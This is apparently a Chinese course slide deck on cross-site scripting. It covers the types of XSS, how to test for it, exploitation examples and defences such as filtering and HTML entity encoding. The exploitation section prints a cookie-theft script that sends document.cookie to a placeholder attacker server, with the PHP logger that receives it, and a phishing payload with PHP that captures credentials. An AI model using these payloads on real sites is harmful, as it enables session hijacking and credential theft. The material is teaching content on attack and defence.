版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
第2章XSS攻擊及防護(hù)01XSS基礎(chǔ)知識(shí)02XSS漏洞的測(cè)試思路03XSS攻擊的利用方式04XSS漏洞的標(biāo)準(zhǔn)防護(hù)方法目錄CONTENTSXSS基礎(chǔ)知識(shí)XSS攻擊XSS攻擊的原理<script>alert(‘haha’)</script>XSS基礎(chǔ)知識(shí)XSS攻擊XSS攻擊的定義
XSS攻擊(跨站腳本攻擊)是指攻擊者利用網(wǎng)站程序?qū)τ脩糨斎脒^(guò)濾不足的缺陷,輸入可以顯示在頁(yè)面上對(duì)其他用戶造成影響的HTML代碼,從而盜取用戶資料、利用用戶身份進(jìn)行某種動(dòng)作或?qū)υL問(wèn)者進(jìn)行病毒侵害的一種攻擊方式。其英文全稱為CrossSiteScripting,原本縮寫(xiě)應(yīng)當(dāng)是CSS,但為了和層疊樣式表(CascadingStyleSheet,CSS)有所區(qū)分,安全專家們通常將其縮寫(xiě)成XSS。XSS攻擊本質(zhì)上是一種將惡意腳本嵌入到當(dāng)前網(wǎng)頁(yè)中并執(zhí)行的攻擊方式。黑客通過(guò)“HTML注入”行為篡改網(wǎng)頁(yè),并插入惡意JavaScript腳本,從而在用戶瀏覽網(wǎng)頁(yè)的時(shí)候控制瀏覽器行為。XSS漏洞產(chǎn)生的主要原因是網(wǎng)站對(duì)于用戶提交的數(shù)據(jù)過(guò)濾不嚴(yán)格,攻擊者利用其用戶身份在輸入?yún)?shù)時(shí)附帶了惡意腳本,在提交到服務(wù)器后,服務(wù)器沒(méi)有對(duì)用戶端傳入的參數(shù)做任何安全過(guò)濾,將腳本存儲(chǔ)在數(shù)據(jù)庫(kù)中或直接回顯給用戶。惡意腳本有很多表現(xiàn)形式,如常見(jiàn)的彈窗、竊取用戶Cookie、彈出廣告等,這也是跨站攻擊的直接效果。XSS攻擊的原理XSS攻擊XSS基礎(chǔ)知識(shí)反射型XSSXSS的分類頁(yè)面將用戶輸入的數(shù)據(jù)通過(guò)URL的形式直接或未經(jīng)完善的安全過(guò)濾就在瀏覽器中進(jìn)行輸出。由于此類型的跨站代碼存在于URL中,因此,黑客通常需要通過(guò)詐騙或加密變形等方式,將存在惡意代碼的鏈接發(fā)給用戶,只有用戶點(diǎn)擊以后才能使攻擊成功實(shí)施。存儲(chǔ)型XSSWeb應(yīng)用程序?qū)⒂脩糨斎氲臄?shù)據(jù)信息保存在服務(wù)端的數(shù)據(jù)庫(kù)或其他文件形式中,只要用戶訪問(wèn)具有XSS攻擊腳本的網(wǎng)頁(yè)時(shí),就會(huì)觸發(fā)攻擊效果,常見(jiàn)的場(chǎng)景就是博客或新聞發(fā)布系統(tǒng)中的評(píng)價(jià)區(qū)。基于DOM的XSS由于JavaScript的DOM節(jié)點(diǎn)編程可以改變HTML代碼這個(gè)特性而形成的攻擊。由于構(gòu)造語(yǔ)句具有較大的難度,且實(shí)現(xiàn)效果及要求較為苛刻,因此較為少見(jiàn)。XSS基礎(chǔ)知識(shí)XSS攻擊目標(biāo)網(wǎng)頁(yè)有攻擊者可控的輸入點(diǎn)這是攻擊得以實(shí)施的前提?;蚰繕?biāo)網(wǎng)頁(yè)不存儲(chǔ)可控的輸入點(diǎn),則攻擊語(yǔ)句就無(wú)法提交給系統(tǒng)。0102輸入信息可以在受害者的瀏覽器中顯示XSS攻擊的受害者是訪問(wèn)過(guò)包含XSS惡意代碼頁(yè)面的用戶,輸入內(nèi)容需要在用戶頁(yè)面上進(jìn)行展示才能展開(kāi)XSS攻擊。0304目標(biāo)網(wǎng)頁(yè)可輸入可執(zhí)行腳本在信息輸入和輸出過(guò)程中沒(méi)有特殊字符的過(guò)濾和字符的轉(zhuǎn)義等防護(hù)措施,或者說(shuō)防護(hù)措施可以通過(guò)一定的手段繞過(guò)。瀏覽器具備解析、執(zhí)行腳本的能力這是攻擊得以實(shí)施的最后條件,即使前三個(gè)條件都滿足,如果此條件不滿足,攻擊仍然無(wú)法實(shí)現(xiàn)。攻擊條件XSS攻擊XSS基礎(chǔ)知識(shí)01XSS基礎(chǔ)知識(shí)02XSS漏洞的測(cè)試思路03XSS攻擊的利用方式04XSS漏洞的標(biāo)準(zhǔn)防護(hù)方法目錄CONTENTS01020304漏洞挖掘,尋找輸入點(diǎn)尋找輸出點(diǎn)確定測(cè)試數(shù)據(jù)輸出位置輸入簡(jiǎn)單的跨站代碼進(jìn)行測(cè)試XSS攻擊XSS漏洞的測(cè)試思路基本測(cè)試流程01漏洞挖掘,尋找輸入點(diǎn)XSS攻擊XSS漏洞的測(cè)試思路基本測(cè)試流程一般情況下,XSS攻擊是通過(guò)“HTML注入”方式來(lái)實(shí)現(xiàn)的。也就是說(shuō),攻擊者通過(guò)提交參數(shù),意圖修改當(dāng)前頁(yè)面的HTML結(jié)構(gòu)。XSS攻擊成功時(shí),提交的參數(shù)格式可在當(dāng)前頁(yè)面拼接成可執(zhí)行的腳本。XSS漏洞存在的要求是:當(dāng)前頁(yè)面存在參數(shù)顯示點(diǎn),且參數(shù)顯示點(diǎn)可被用戶控制輸入。反射型XSS攻擊一般存在于網(wǎng)站的搜索頁(yè)面、登錄頁(yè)面等用戶的簡(jiǎn)單交互頁(yè)面,或者GET型請(qǐng)求的URL里。存儲(chǔ)型XSS一般發(fā)生在留言板、在線信箱、評(píng)論欄等外,表現(xiàn)特征是用戶可自行輸入數(shù)據(jù),并且數(shù)據(jù)會(huì)提交給服務(wù)器。除了直接觀察之外,利用Web代理工具抓包來(lái)提交參數(shù)也是尋找輸入點(diǎn)的一個(gè)有效途徑。在一些輸入點(diǎn)隱蔽或者用戶輸入被JS腳本限制的頁(yè)面,可以采用Burpsuite抓包的方式尋找輸入點(diǎn)。02尋找輸出點(diǎn)XSS攻擊XSS漏洞的測(cè)試思路基本測(cè)試流程XSS攻擊的受害者是訪問(wèn)過(guò)包含XSS惡意代碼頁(yè)面的用戶,輸入內(nèi)容需要在用戶頁(yè)面上進(jìn)行展示才能展開(kāi)XSS攻擊。測(cè)試輸出點(diǎn)位置主要基于兩個(gè)目的:確定網(wǎng)站對(duì)輸入內(nèi)容是否進(jìn)行了輸出,判斷是否可以展開(kāi)XSS攻擊。有時(shí)候需要根據(jù)輸出的位置的HTML環(huán)境來(lái)編寫(xiě)有效的XSS代碼。需要注意的是,攻擊者一般會(huì)利用正常內(nèi)容進(jìn)行第一步測(cè)試,尋找內(nèi)容顯示點(diǎn)。之所以第一步使用正常內(nèi)容,主要是為了避免攻擊行為提前暴露。有些輸出點(diǎn)無(wú)法直接回顯,例如一些網(wǎng)站的“站長(zhǎng)信箱”模塊。用戶輸入的內(nèi)容可能不會(huì)在前臺(tái)展示,或者需要一定的時(shí)間通過(guò)人工審核后才能展示,因此也無(wú)法直接觀察測(cè)試結(jié)果,這給測(cè)試輸出點(diǎn)帶來(lái)了很大的難度。03確定測(cè)試數(shù)據(jù)輸出位置XSS攻擊XSS漏洞的測(cè)試思路基本測(cè)試流程在輸入內(nèi)容不能正常顯示的情況下,一般通過(guò)判斷是否會(huì)輸出,或者直接嘗試XSS攻擊竊取cookie。由于后臺(tái)審核的一般是管理員賬戶,若測(cè)試成功可直接獲得管理權(quán)限,但直接對(duì)管理員實(shí)施的XSS攻擊也增加了被發(fā)現(xiàn)的風(fēng)險(xiǎn)。這也就是俗稱的“XSS盲打后臺(tái)”。XSS盲打的目標(biāo)功能點(diǎn)通常有:留言板意見(jiàn)反饋點(diǎn)私信功能文件上傳點(diǎn)中的信息輸入框在線提交信息XSS的語(yǔ)句在插入后并不會(huì)馬上被執(zhí)行,而是在此功能被使用后方能產(chǎn)生效果??梢钥闯?,此類功能點(diǎn)均有很大概率會(huì)被管理員運(yùn)行,導(dǎo)致XSS盲打的攻擊代碼會(huì)在管理員訪問(wèn)此類功能時(shí)被執(zhí)行。總之,XSS盲打的目標(biāo)是找到輸入點(diǎn)插入跨站代碼,并且要求插入的代碼由管理員在正常Web應(yīng)用流程中觸發(fā)。因此,如何尋找與管理員的“互動(dòng)”成為關(guān)鍵點(diǎn)。04輸入簡(jiǎn)單的跨站代碼進(jìn)行測(cè)試XSS攻擊XSS漏洞的測(cè)試思路基本測(cè)試流程通過(guò)前面三個(gè)步驟的測(cè)試,可發(fā)現(xiàn)具體的輸入點(diǎn)及輸出位置,那么存在XSS漏洞的基本條件已經(jīng)具備了。但XSS攻擊在這個(gè)測(cè)試點(diǎn)是否能順利進(jìn)行,就需要通過(guò)一些基本的跨站代碼來(lái)測(cè)試了。如果其中環(huán)節(jié)被過(guò)濾,則攻擊依然無(wú)效。測(cè)試XSS攻擊的經(jīng)典方式就是“彈窗測(cè)試”,即在輸入一段可以產(chǎn)生彈窗效果的JavaScript腳本,如果刷新頁(yè)面產(chǎn)生了彈窗表示XSS攻擊測(cè)試成功。在輸入點(diǎn)輸入如下的彈窗測(cè)試腳本:<script>alert(“haha”)</script>點(diǎn)擊“submit”按鈕,如果彈出以下對(duì)話框,表示測(cè)試成功,該測(cè)試點(diǎn)存在XSS攻擊漏洞。大小寫(xiě)繞過(guò)雙寫(xiě)繞過(guò)更換標(biāo)簽閉合標(biāo)簽常用的測(cè)試方法XSS攻擊XSS漏洞的測(cè)試思路測(cè)試流程找到輸出點(diǎn),猜測(cè)輸出是否可能存在跨站不存在漏洞無(wú)輸出點(diǎn)有輸出點(diǎn)尋找輸入點(diǎn),輸入多組簡(jiǎn)單數(shù)據(jù)進(jìn)行測(cè)試輸入點(diǎn)不可控有輸入點(diǎn)確定輸入數(shù)據(jù)輸出位置輸出位置不可控輸入簡(jiǎn)單的跨站代碼測(cè)試輸出效果確認(rèn)位置有后續(xù),繼續(xù)測(cè)試XSS漏洞的測(cè)試思路XSS攻擊01XSS基礎(chǔ)知識(shí)02XSS漏洞的測(cè)試思路03XSS攻擊的利用方式04XSS漏洞的標(biāo)準(zhǔn)防護(hù)方法目錄CONTENTSXSS攻擊的利用方式XSS攻擊
XSS攻擊廣泛存在于有數(shù)據(jù)交互的地方。OWASPTOP10多次把XSS威脅列在其中。之前所使用的彈窗測(cè)試只是用來(lái)證明XSS的存在,但遠(yuǎn)遠(yuǎn)不能說(shuō)明XSS的危害,畢竟彈出窗口,顯示文字等交不會(huì)對(duì)用戶產(chǎn)生實(shí)質(zhì)性影響。事實(shí)上,XSS腳本具有相當(dāng)大的威脅,其危害遠(yuǎn)比想象中要嚴(yán)重。究其原因,一方面是腳本語(yǔ)言本身具有強(qiáng)大的控制能力,另一方面是能帶來(lái)對(duì)瀏覽器漏洞利用的權(quán)限提升。XSS攻擊的利用方式竊取CookieXSS攻擊
如果說(shuō)彈窗是XSS測(cè)試中的一種經(jīng)典的測(cè)試方式,那么竊取Cookie則是XSS攻擊的一個(gè)常見(jiàn)行為。Cookie是在HTTP協(xié)議下,服務(wù)器或腳本可以維護(hù)客戶工作站上信息的一種方式。Cookie是由Web服務(wù)器保存在用戶瀏覽器(客戶端)上的小文本文件,它可以包含有關(guān)用戶的信息。無(wú)論何時(shí)用戶鏈接到服務(wù)器,Web站點(diǎn)都可以訪問(wèn)Cookie信息。
Windows10中Cookie文件所在位置為:C:\Users\Bruce\AppData\Local\Microsoft\Windows\INetCookiesXSS攻擊的利用方式竊取CookieXSS攻擊
由于HTTP的特性,Cookie是目前Web系統(tǒng)識(shí)別用戶身份和會(huì)話保持狀態(tài)的主要方式。一旦應(yīng)用程序中存在跨站腳本執(zhí)行漏洞,那么攻擊者就能利用XSS攻擊輕易地獲取被攻擊者的Cookie信息,并偽裝成當(dāng)前用戶登錄,執(zhí)行惡意操作等行為。如果受害用戶是管理員,那么攻擊者甚至可以輕易獲取Web系統(tǒng)的管理權(quán)限。這類權(quán)限通常會(huì)有文件修改、上傳,連接數(shù)據(jù)庫(kù)等功能,再配合后續(xù)的攻擊,會(huì)給當(dāng)前Web應(yīng)用安全帶來(lái)很大的威脅。XSS攻擊的利用方式竊取CookieXSS攻擊
攻擊者要通過(guò)XSS獲取用戶的Cookie,就需要編寫(xiě)對(duì)應(yīng)的獲取當(dāng)前用戶Cookie的腳本。這里假設(shè)攻擊者在常規(guī)運(yùn)行的網(wǎng)站的留言板上發(fā)現(xiàn)了一個(gè)存儲(chǔ)型XSS漏洞,那么攻擊者就可以使用下面的代碼進(jìn)行跨站攻擊:<script>Document.location=‘http://攻擊者自己的服務(wù)器域名或IP/cookie.php?cookie=’+document.cookie;</script>XSS攻擊的利用方式竊取CookieXSS攻擊
當(dāng)用戶瀏覽到留言板上的這條信息時(shí),瀏覽器會(huì)加載這段“留言信息”,從而觸發(fā)了這個(gè)JS攻擊腳本。攻擊腳本便會(huì)讀取該正常網(wǎng)站下的用戶Cookie,并將Cookie作為參數(shù)以GET方式提交到攻擊者的服務(wù)器。
在攻擊者的服務(wù)器上,攻擊者事先準(zhǔn)備好了一個(gè)Cookie.php文件,放在Web的根目錄下,該文件代碼如下:<?php$cookie=$_GET[‘cookie’];$log=fopen(“cookie.txt”,”a”);Fwrite($log,$cookie);Fclose($log);?>XSS攻擊的利用方式竊取CookieXSS攻擊
當(dāng)有用戶觸發(fā)攻擊時(shí),攻擊者服務(wù)器中的Cookie.php便會(huì)接收受害者傳入的Cookie,并保存在本地文件Cookie.txt中。若Cookie還在有效期內(nèi),攻擊者便可以利用該Cookie偽裝成受害用戶進(jìn)行登錄,進(jìn)行非法操作。XSS攻擊的利用方式網(wǎng)絡(luò)釣魚(yú)XSS攻擊
攻擊者精心構(gòu)造的跨站代碼可以實(shí)現(xiàn)更多的功能,諸如改變網(wǎng)站的前端頁(yè)面,構(gòu)造虛假的表單來(lái)誘導(dǎo)用戶填寫(xiě)信息等。如果攻擊者利用一個(gè)正規(guī)網(wǎng)站的XSS漏洞來(lái)偽造一個(gè)釣魚(yú)頁(yè)面,那么與傳統(tǒng)的釣魚(yú)網(wǎng)站相比,具有非常強(qiáng)的迷惑性。XSS攻擊的利用方式網(wǎng)絡(luò)釣魚(yú)XSS攻擊
假設(shè)還是一個(gè)正規(guī)網(wǎng)站的留言板,通過(guò)測(cè)試發(fā)現(xiàn)有XSS漏洞。攻擊者構(gòu)造了如下一段跨站代碼:<scriptsrc=“/auth.php?id=yVCEB3&info=input+your+account”></script>其中,是攻擊者服務(wù)器的域名,攻擊者在上面提前寫(xiě)好了一個(gè)PHP文件,命名為auth.phpXSS攻擊的利用方式網(wǎng)絡(luò)釣魚(yú)XSS攻擊Auth.php代碼如下:<?Error_reporting(0);If((!isset($_SERVER[‘PHP_AUTH_USER’]))||(!isset($_SERVER[‘PHP_AUTH_PW’]))){Header(‘WWW-Authenticate:basicrealm=”’.addslasher(trim($_GET[info])).’”’);Header(‘HTTP/1.0401Unauthorized’);Echo‘AuthorizationRequired.’;Exit;}Elseif((isset($_SERVER[‘PHP_AUTH_USER’]))&&(isset($_SERVER[‘PHP_AUTH_PW’]))){Header(“Location:/index.php?do=api&id={$_GET[id]}&username={$_SERVER[‘PHP_AUTH_USER’]}&password=
{$_SERVER[‘PHP_AUTH_PW’]}”);}?>XSS攻擊的利用方式網(wǎng)絡(luò)釣魚(yú)XSS攻擊XSS攻擊的利用方式網(wǎng)絡(luò)釣魚(yú)XSS攻擊
常見(jiàn)的XSS網(wǎng)絡(luò)釣魚(yú)還有重定向釣魚(yú)、跨框架釣魚(yú)等,高級(jí)的網(wǎng)絡(luò)釣魚(yú)還可以劫持用戶表單獲取明文密碼等。每種釣魚(yú)都要依據(jù)跨站漏洞站點(diǎn)的實(shí)際情況來(lái)部署XSS代碼,偽造方式也是層出不窮,感興趣的同學(xué)可以自行在互聯(lián)網(wǎng)上查閱相關(guān)資料。XSS攻擊的利用方式竊取客戶端信息XSS攻擊
攻擊者在籌備一場(chǎng)有預(yù)謀的攻擊時(shí),獲取盡可能多的攻擊對(duì)象的信息是必不可少的,而JS腳本可以幫助攻擊者通過(guò)XSS漏洞的利用來(lái)達(dá)到這個(gè)目的。通過(guò)使用JS腳本,攻擊者可以獲取用戶瀏覽器訪問(wèn)記錄、IP地址、開(kāi)放端口、剪貼板內(nèi)容、按鍵記錄等許多敏感信息,并將其發(fā)送到自己的服務(wù)器保存下來(lái)。
下面以監(jiān)聽(tīng)用戶鍵盤(pán)動(dòng)作為例,看看如何通過(guò)跨站代碼來(lái)實(shí)現(xiàn)。XSS攻擊的利用方式竊取客戶端信息XSS攻擊
當(dāng)用戶在訪問(wèn)登錄、注冊(cè)、支付等頁(yè)面時(shí),在頁(yè)面下的按鍵操作一般都是輸入賬號(hào)、密碼等重要信息。如果攻擊者在這些頁(yè)面構(gòu)造了跨站攻擊腳本,便可記錄用戶的按鍵信息,并將信息傳輸?shù)阶约旱倪h(yuǎn)程服務(wù)器,那么用戶的密碼等資料便發(fā)生了泄漏。構(gòu)造的跨站代碼如下(為了更好的演示效果,將監(jiān)聽(tīng)到的用戶按鍵直接采用網(wǎng)頁(yè)彈窗彈出):<script>FunctionkeyDown(){varrealkey=String.fromCharCode(event.keyCode);Alert(realkey);}document.onkeydown=keyDown;</script>01XSS基礎(chǔ)知識(shí)02XSS漏洞的測(cè)試思路03XSS攻擊的利用方式04XSS漏洞的標(biāo)準(zhǔn)防護(hù)方法目錄CONTENTSXSS漏洞的標(biāo)準(zhǔn)防護(hù)方法XSS攻擊XSS的原理比較直觀,就是注入一段能夠被瀏覽器解釋執(zhí)行的代碼,并且通過(guò)各類手段使得這段代碼“鑲嵌”在正常網(wǎng)頁(yè)中,由用戶在正常訪問(wèn)中觸發(fā)。然而,一旦此類安全問(wèn)題和代碼聯(lián)系起來(lái),會(huì)直接導(dǎo)致鑲嵌的內(nèi)容千變?nèi)f化。因此,XSS漏洞一旦被利用,所造成的危害往往不是出現(xiàn)一個(gè)彈窗那么簡(jiǎn)單。
XSS作為安全漏洞已出現(xiàn)在安全人員及公眾視野多年,防護(hù)思路相對(duì)成熟,但是要想很好地防御它卻不是那么簡(jiǎn)單。究其原因,一是客戶端使用的Web瀏覽器本身就存在很多安全問(wèn)題,而這些瀏覽器正好是XSS的攻擊戰(zhàn)場(chǎng);二是Web應(yīng)用程序中存在廣泛的輸入/輸出交互點(diǎn),開(kāi)發(fā)人員卻常常忽視此問(wèn)題,即使已經(jīng)存在數(shù)量巨大的漏洞,在沒(méi)有影響正常業(yè)務(wù)開(kāi)展的情況下,開(kāi)發(fā)人員也無(wú)暇去修補(bǔ)。
XSS漏洞的標(biāo)準(zhǔn)防護(hù)方法過(guò)濾特殊字符XSS攻擊
過(guò)濾特殊字符的方法又稱為XSSFilter,其作用就是通過(guò)過(guò)濾客戶端提交的有害信息,從而防范XSS攻擊。
XSS攻擊代碼要想執(zhí)行,必須使用一些腳本中的關(guān)鍵函數(shù)或者標(biāo)簽,如果能編寫(xiě)一個(gè)較為嚴(yán)密的過(guò)濾函數(shù),將輸入信息中的關(guān)鍵字過(guò)濾掉,那么跨站腳本就不能被瀏覽器識(shí)別和執(zhí)行了。XSS漏洞的標(biāo)準(zhǔn)防護(hù)方法過(guò)濾特殊字符XSS攻擊
HTMLFilter過(guò)濾了許多HTML特性、JS關(guān)鍵字、空字符、特殊字符,看起來(lái)十分嚴(yán)格。目前很多XSS防護(hù)方案都采用這樣的代碼來(lái)針對(duì)輸入信息進(jìn)行預(yù)處理。
然而,對(duì)于技術(shù)高超的攻擊者,安全能找到有效對(duì)策繞過(guò)過(guò)濾,主要是利用新增的HTML標(biāo)簽實(shí)現(xiàn)。這也是一種有力的提醒,即使有了防御手段,也不能保證絕對(duì)的安全,還需要?jiǎng)討B(tài)調(diào)整過(guò)濾項(xiàng)目,切不可掉以輕心。XSS漏洞的標(biāo)準(zhǔn)防護(hù)方法使用實(shí)體化編碼XSS攻擊
在測(cè)試和使用的跨站代碼中,幾乎都會(huì)使用到一些常見(jiàn)的特殊符號(hào)。有了這些特殊符號(hào),攻擊者就可以肆意地進(jìn)行閉合標(biāo)簽、篡改頁(yè)面、提交請(qǐng)求等行為。在輸出內(nèi)容之前,如果能夠?qū)μ厥庾址M(jìn)行編碼和轉(zhuǎn)義,讓瀏覽器能知道這些字符是被用作文字顯示而不是作為代碼執(zhí)行,就會(huì)使攻擊代碼無(wú)法被瀏覽器執(zhí)行。
編碼的方式有很多種,每種都適應(yīng)于不同的環(huán)境。XSS漏洞的標(biāo)準(zhǔn)防護(hù)方法使用實(shí)體化編碼——HTML編碼XSS攻擊
這種方案是對(duì)HTML中特殊字符的重新編碼,稱為HTMLEncode。為了對(duì)抗XSS,需要將一些特殊符號(hào)進(jìn)行HTML實(shí)體化編碼。在PHP中,可以使用htmlspecialchars()來(lái)進(jìn)行編碼,編碼的轉(zhuǎn)換方式如下:編碼前編碼后&&<<>>“"‘'//XSS漏洞的標(biāo)準(zhǔn)防護(hù)方法使用實(shí)體化編碼——HTML編碼XSS攻擊
當(dāng)網(wǎng)頁(yè)中輸出這些已經(jīng)被HTML實(shí)體化編碼的特殊符號(hào)時(shí),在HTML源碼中會(huì)顯示為編碼后的字符,并由瀏覽器將它們翻譯成特殊字符并在用戶頁(yè)面上顯示。通俗點(diǎn)說(shuō),HTML是替換編碼,告知瀏覽器哪些特殊字符只能作為文本顯示,不能當(dāng)作代碼執(zhí)行。從而規(guī)避了XSS風(fēng)險(xiǎn)。
一句話總結(jié):實(shí)體化編碼的意義在于嚴(yán)格限定了數(shù)據(jù)就是數(shù)據(jù),避免數(shù)據(jù)被當(dāng)作代碼進(jìn)行執(zhí)行。XSS漏洞的標(biāo)準(zhǔn)防護(hù)方法使用實(shí)體化編碼——JS編碼XSS攻擊
用戶的輸入信息有時(shí)候會(huì)被嵌入到JS代碼塊中,作為動(dòng)態(tài)內(nèi)容輸出。從安全角度和JS語(yǔ)言的特性考慮,需要對(duì)輸出信息中的特殊字符進(jìn)行轉(zhuǎn)義。通常情況下,可使用函數(shù)來(lái)完成下面的轉(zhuǎn)義規(guī)則:轉(zhuǎn)義前轉(zhuǎn)義后‘\’“\”\\\/\/在OWASPESAPI中有一個(gè)安全的
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 溫州市蒼南縣人民醫(yī)院醫(yī)共體第一輪面向全國(guó)引進(jìn)緊缺類高層次醫(yī)療衛(wèi)生人才備考題庫(kù)及答案1套
- 華中科技大學(xué)同濟(jì)醫(yī)學(xué)院附屬協(xié)和醫(yī)院重慶醫(yī)院創(chuàng)傷中心招聘12人考試題庫(kù)必考題
- 2026年黑龍江省哈爾濱市單招職業(yè)適應(yīng)性考試題庫(kù)附答案
- 國(guó)家公務(wù)員(《行測(cè)》)歷年真題庫(kù)及答案(易錯(cuò)題)
- 《行測(cè)》(選詞選擇)歷年真題庫(kù)試卷及完整答案1套
- 公務(wù)員行政職業(yè)能力測(cè)試《行測(cè)》試題庫(kù)及答案(新)
- 2026湖南株洲市教育局直屬學(xué)校面向高校畢業(yè)生招聘教師5人考試備考題庫(kù)附答案
- 百泉鎮(zhèn)村(社區(qū))后備干部招募考試題庫(kù)及答案1套
- 安溪六中招聘編外合同制教師考試題庫(kù)附答案
- 江蘇省公務(wù)員考試《行測(cè)》題庫(kù)(各地真題)
- 知道智慧樹(shù)西方文論經(jīng)典導(dǎo)讀滿分測(cè)試答案
- 醫(yī)藥行業(yè)合規(guī)培訓(xùn)課件
- 水域事故緊急救援與處置預(yù)案
- 新能源汽車工程技術(shù)專業(yè)教學(xué)標(biāo)準(zhǔn)(高等職業(yè)教育本科)2025修訂
- 四川省成都市2023級(jí)高中畢業(yè)班摸底測(cè)試英語(yǔ)試題(含答案和音頻)
- 以歌為翼:中文歌曲在泰國(guó)小學(xué)漢語(yǔ)課堂的教學(xué)效能探究
- 2025-2030中國(guó)除濕干燥機(jī)行業(yè)應(yīng)用趨勢(shì)與需求規(guī)模預(yù)測(cè)報(bào)告
- 2025廣東高考物理試題(大題部分)+評(píng)析
- 2025年中國(guó)國(guó)際貨運(yùn)代理行業(yè)市場(chǎng)情況研究及競(jìng)爭(zhēng)格局分析報(bào)告
- 家庭教育概論 課件 第5章 親子關(guān)系:家庭教育的起點(diǎn)與結(jié)果
- 500千伏輸電線路工程項(xiàng)目管理實(shí)施規(guī)劃
評(píng)論
0/150
提交評(píng)論